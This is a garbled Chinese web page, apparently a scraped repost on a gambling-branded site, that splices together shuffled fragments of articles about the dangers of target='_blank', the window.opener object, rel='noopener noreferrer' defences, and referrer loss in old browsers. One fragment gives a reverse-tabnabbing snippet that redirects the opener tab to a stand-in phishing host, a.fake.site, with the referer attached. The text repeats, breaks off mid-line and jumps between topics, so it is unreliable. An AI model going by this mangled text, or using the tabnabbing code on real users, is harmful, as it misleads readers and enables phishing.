必威-必威-欢迎您

必威,必威官网企业自成立以来,以策略先行,经营致胜,管理为本的商,业推广理念,一步一个脚印发展成为同类企业中经营范围最广,在行业内颇具影响力的企业。

你还知道有其他更巧妙的给链接加 必威:target

2019-10-11 04:40 来源:未知

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时,parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时,parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

必威 1

在 <iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

 

恶意攻击

Chrome3.0+,Firefox3.5,Opera9.6,Safari3.2.2均正常返回来源网页

这样就解决了在网页页面局部实现 href 的 target="_blank" 属性的问题了。

3. JavaScript

noopener 属性看似是解决了所有问题,但是…浏览器的兼容性问题…

必威 2

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

Enter an "evil" website

跨域的话则没辙了~

我们都知道 html 超链接标签 href 属性 target="_blank" 的作用是使打开的链接以新开的窗口形式出现。但是除了直接写在 href 标签里面,你还知道有其他更巧妙的给链接加 target="_blank" 的办法吗?下面作者将要和大家分享的是如何巧妙的使用 href target="_blank" 这个标签。

详细步骤

  1. 在你的网站 https://example.com 上存在一个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。并且,这个网站上包含着类似于这样的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?' + url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  2. 恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。
  3. 用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下,opener 对象和 parent 一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

但是与 parent 不同的是,在跨域的情况下,opener 仍然可以调用 location.replace 方法parent 则不可以。

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

  1. 现在,这个用户继续浏览合格新打开的标签页,当这个开始的页面已经加载到 之后。

  2. 这个恶意的网站 可以根据这个 querystring 部分伪造一个跟原本的页面一样的页面来欺骗用户(其实你也可以在这期间制造另一个跳转,让浏览器的地址栏看起来更令人困惑)

在投放Google Adwords的时候,后台系统有一个“自动标记”的选项,当启用此选项的时候,Google在生成所有广告的着陆页面Url的时候,就会自动加上一个gclid的参数,这个参数能够将Google Analytics后台和Adwords广告后台的数据进行整合。这样就可以知道广告流量对应于哪个广告系列,哪个广告来源和广告关键词等信息了。和上面提到的思路其实是类似的。只不过Google自动帮你做了Url的修改了而已。

下面说一下怎么会突然想到这个标签的吧!作者网站在当初设计时,对于链接这一块,没有做太多的想法,所有链接元素打开的方式都是_self。现在才发现存在不少问题,本站自己的内链就不说什么了,但是发表在文章内容中的链接,多半是指向别人网站的连接,而这些链接也都是直接通过_self形式打开的,这个问题就来了,用户体验度不好不说,对自己网站的流量,权重都是个挺大的损失。那怎么解决这个问题呢?我需要的是在网页页面局部实现 href 的 target="_blank" 属性,最后想出了两种方法:

性能

最后,再来说说性能问题。

如果网站使用了 <a target="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

1 赞 收藏 评论

必威 3

这里还是要推荐下小编的web前端学习 群 : 687958461,不管你是小白还是大牛,小编我都欢迎,不定期分享干货,包括小编自己整理的一份最新的web前端资料和0基础入门教程,欢迎初学和进阶中的小伙伴。在不忙的时间我会给大家解惑。

IE下referer为空的解决办法 在IE下采用 window.location.href方式跳转的话,referer值为空。而在标签里面的跳转的话 referer就不会空。所以,通过以下代码就可以解决这个IE问题

(2)在页面 head 标签内加上 <base target="_blank"> 这个标签,就一劳永逸了。这个标签可以使得页面上的所有连接都以新开窗口的形式打开。但是感觉这个用户体验度很不好,用户才浏览了几个网页就打开的全是我的网站了,这会让人很不爽,至少我是这么感觉的。而且这个在严格的W3C标准中是不标准的,至于为什么?原因很人性化,是因为外国人认为,不经过用户同意,就随便打开新窗口,是不礼貌的,不尊重用户的选择。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

"use strict";

复制代码 代码如下:

<a href="" rel="external">右下角弹出广告 js,漂浮效果(兼容多浏览器)</a>

防御

``<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

你需要修改后端代码(译注:或者 nginx 配置)来实现添加 Referer Policy 头。同时在前端,你也可以使用 <a> 标签本身支持的 rel 属性,通过指明 rel="noreferrer" 来确保原网页不受新标签页的干扰。

javascript:alert(document.referrer)

搜索了大量的资料得出 href 标签在 HTML 4.0 增加了一个新属性:rel,这个属性用来说明链接和包含此链接页面的关系,以及链接打开的目 标。rel 有许多的属性值,比如next、previous,、chapter、section 等等。这里我们可以使用 rel="external" 属性。那么原来这样写的代码:

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

原文出处: 创宇前端   

必威 4

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在 a 标签上添加 target等于"_blank" 属性。

然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

如果你的网站上有一个使用了 target="_blank" 的 a 标签链接,一旦用户点击了这个链接打开了新的标签页,如果这个标签页跳转的网站内存在的恶意代码,那么你原本页面的网站可能会被转到一个假的页面。也就是说,当用户回到原本的页面时,他看到的可能就是已经被替换过的钓鱼页面了。

window.location.hostname = "example.com";

您可能感兴趣的文章

  • PHP中return 和 exit 、break和contiue 区别与用法
  • JS如何操作css中float属性写法
  • Canonical标签及其作用[网站SEO]
  • MySQL replace函数替换字符串语句的用法
  • iframe属性详细说明
  • 如何设置DIV层显示在flash对象之上,兼容ie和firefox等浏览器
  • textarea提交内容换行不起作用的解决方法
  • php get_headers函数的作用及用法

html 超链接标签 href 属性 target="_blank" 的作用是使打开的链接以新开的窗口形式出现。但是除了直接写在 href 标签里面,你还知...

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 Referrer Policy 头来保证来源隐私安全。

Referrer Policy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

在上述的攻击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你可以在当前页面返回的 HTTP Response Headers 中添加 Referrer Policy 头来确保原本网页可以不受新标签页的干扰。

但是,通过修改Location进行页面导航的方法,会导致在IE下丢失Referrer。

<a href="" target="_blank">右下角弹出广告 js,漂浮效果(兼容多浏览器)</a>

利用

如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

parent 和 opener

例如,我们在HTTPS下使用Google Reader或是Gmail的时候,点击某个链接去到另外一个网站,那么从技术上来说,这样的访问和用户直接键入网址访问是没有什么分别的。

<script type="text/javascript" src=";

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href="" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

处于安全的考虑,现代浏览器支持指定 rel="noopener" 在 <a> 标签上,从而在新打开的标签页里,opener 对象将不可用,其值直接被设置成了 null。

鼠标拖拽打开新窗口 鼠标拖拽是现在非常流行的用户习惯,很多浏览器都内置或者可以通过插件的方式来支持鼠标拖拽式浏览。但是通过这种方式打开的页面,基本全都丢失referrer。并且,这种情况下,也无法使用window.opener的方式去获取丢失的referrer了。

(1)给这些链接一个个手动去加上target="_blank",但这个方法太笨了,太费时费力。

起源

以上的攻击方式,是在跨域的场景中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。虽然,都是受限制的并且只提供了很少的受限的可用属性。并且这一些可用的属性里,大部分都不被允许访问(否则使用时会直接报错 DOMException)。但是在跨域的场景中,opener 对象不像 parent 对象那么严格,opener 依然可以调用 location.replace 方法。

测试结果:

那这个时候该怎么办呢?

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

opener 与 parent 一样,只不过是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

如果这是同域场景(例如,这个网站上的一个页面已经被嵌入了恶意代码),那么这个情况会变得更加严重。

window.open方式打开新窗口 示例:

上面的代码中,如果不加 target="_blank" 这个属性,默认均为本页直接打开,即:target="_self"。

必威 5

function open_window(link){ 
    var arg = 'u003cscriptu003elocation.replace("'+link+'")u003c/scriptu003e';
    window.open('javascript:window.name;', arg);
}
</CODE>

现在要写成这样:

  1. noopener

IE5.5+ 下返回空字符串

你可以将以上代码保存成一个.js文件(比如external.js),然后通过外部联接方法调用:

TAG标签:
版权声明:本文由必威发布于必威-前端,转载请注明出处:你还知道有其他更巧妙的给链接加 必威:target